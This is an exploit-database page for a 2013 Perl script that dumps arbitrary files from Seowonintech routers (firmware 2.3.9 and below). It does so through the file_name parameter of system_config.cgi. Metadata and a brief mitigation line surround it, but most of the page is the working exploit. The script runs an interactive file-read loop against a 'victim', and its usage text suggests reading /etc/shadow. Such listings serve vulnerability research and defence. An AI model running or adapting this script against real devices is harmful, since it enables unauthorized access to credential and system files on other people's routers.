Seowonintech routers - exploit.company

vendor:

Router

by:

Todor Donev

8,8

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: Router

Affected Version From: 2.3.9

Affected Version To: 2.3.9

Patch Exists: YES

Related CWE: N/A

CPE: h:seowonintech:router

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2013

Seowonintech routers <= fw: 2.3.9 remote root file dumper

This exploit allows an attacker to remotely dump files from a Seowonintech router running firmware version 2.3.9 or lower. The exploit is written in Perl and uses the LWP::Simple module to connect to the router and retrieve the contents of the requested file. The exploit is triggered by passing the full path of the file to be dumped as an argument to the script.

Mitigation:

Upgrade to the latest firmware version and ensure that all security patches are applied.

Source

Exploit-DB raw data:

#!/usr/bin/perl
# 
# [+] Seowonintech routers * <= fw: 2.3.9 remote root file dumper
#
# Author: Todor Donev (todor dot donev at gmail.com)
# Type: Hardware
# Platform: Linux
#
# Special greetz to Stiliyan Angelov, Tsvetelina Emirska and all 
# my friends that support me 
#
# 2013 Bulgaria
# 
use LWP::Simple;
  
my $host  =  $ARGV[0] =~ /^http:\/\// ?  $ARGV[0]:  'http://' . $ARGV[0];
if(not defined $ARGV[0])
{
     usg();
     exit;
}
print "[+] Seowonintech routers * <= fw: 2.3.9 remote root file dumper\n";
$check = $host."/cgi-bin/system_config.cgi";
get($check) || die "[-] Error: $!\n";     
if (defined $check =~ s/\/etc\///gs){
     print "[+] Connected to $ARGV[0]\n";
     print "[+] Exploiting..\n\n";
}
while(1){ 
     print "# cat ";
     chomp($file=<STDIN>);
     $bug = $host."/cgi-bin/system_config.cgi?file_name=".$file."&btn_type=load&action=APPLY";
     if($file eq ""){ print "Enter full path to file!\n"; }
     $data=get($bug) || die "$!, try another exploit\n";
     $data =~ s/Null/File not found!/gs;
     if (defined $data =~ m{rows="30">(.*?)</textarea>}sx){
     print $1."\n";
}}
sub usg
{
     print " [+] Seowonintech routers * <= fw: 2.3.9 remote root file dumper\n";
     print " [?] usg: perl $0 <victim>\n";
     print " [?] exmp xpl usg: perl $0 192.168.1.1 :)\n";
     print " [?] exmp xpl cmd: # cat /etc/shadow :)\n";
     print " [?] The device use Linux.\n";
}